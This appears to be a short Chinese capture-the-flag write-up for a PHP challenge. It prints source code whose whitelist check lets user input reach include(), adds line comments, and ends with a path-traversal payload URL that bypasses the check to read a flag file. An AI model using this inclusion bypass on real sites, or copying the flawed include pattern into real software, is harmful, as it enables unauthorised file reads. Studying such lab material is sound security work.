payload:http://03b2cc85-7af4-439b-a06e-41da80ff6505.node3.buuoj.cn/index.php?file=source.php

 1  <?php
 2     highlight_file(__FILE__);
 3     class emmm
 4     {
 5         public static function checkFile(&$page)
 6         {
 7             $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
 8             if (! isset($page) || !is_string($page)) {
 9                 echo "you can't see it";
10                 return false;
11             }
12
13             if (in_array($page, $whitelist)) {
14                 return true;
15             }
16
17             $_page = mb_substr(
18                 $page,
19                 0,
20                 mb_strpos($page . '?', '?')
21             );
22             if (in_array($_page, $whitelist)) {
23                 return true;
24             }
25
26             $_page = urldecode($page);
27             $_page = mb_substr(
28                 $_page,
29                 0,
30                 mb_strpos($_page . '?', '?')
31             );
32             if (in_array($_page, $whitelist)) {
33                 return true;
34             }
35             echo "you can't see it";
36             return false;
37         }
38     }
39
40     if (! empty($_REQUEST['file'])
41         && is_string($_REQUEST['file'])
42         && emmm::checkFile($_REQUEST['file'])
43     ) {
44         include $_REQUEST['file'];
45         exit;
46     } else {
47         echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
48     }
49 ?> 

View Code

payload:http://03b2cc85-7af4-439b-a06e-41da80ff6505.node3.buuoj.cn/index.php?file=hint.php

 1   class emmm
 2     {
 3         public static function checkFile(&$page)
 4
 5         {
 6             //白名单列表
 7             $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
 8             //isset()判断变量是否声明is_string()判断变量是否是字符串 &&用了逻辑与两个值都为真才执行if里面的值
 9             if (! isset($page) || !is_string($page)) {
10                 echo "you can't see it A";
11                 return false;
12             }
13             //检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
14             if (in_array($page, $whitelist)) {
15                 return true;
16             }
17             //过滤问号的函数(如果$page的值有？则从?之前提取字符串)
18             $_page = mb_substr(
19                 $page,
20                 0,
21                 mb_strpos($page . '?', '?')//返回$page.?里卖弄?号出现的第一个位置
22             );
23
24              //第二次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
25             if (in_array($_page, $whitelist)) {
26                 return true;
27             }
28             //url对$page解码
29             $_page = urldecode($page);
30
31             //第二次过滤问号的函数(如果$page的值有？则从?之前提取字符串)
32             $_page = mb_substr(
33                 $_page,
34                 0,
35                 mb_strpos($_page . '?', '?')
36             );
37             //第三次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
38             if (in_array($_page, $whitelist)) {
39                 return true;
40             }
41             echo "you can't see it";
42             return false;
43         }
44     }

最终payload:http://03b2cc85-7af4-439b-a06e-41da80ff6505.node3.buuoj.cn/index.php?file=hint.php?../../../../../ffffllllaaaagggg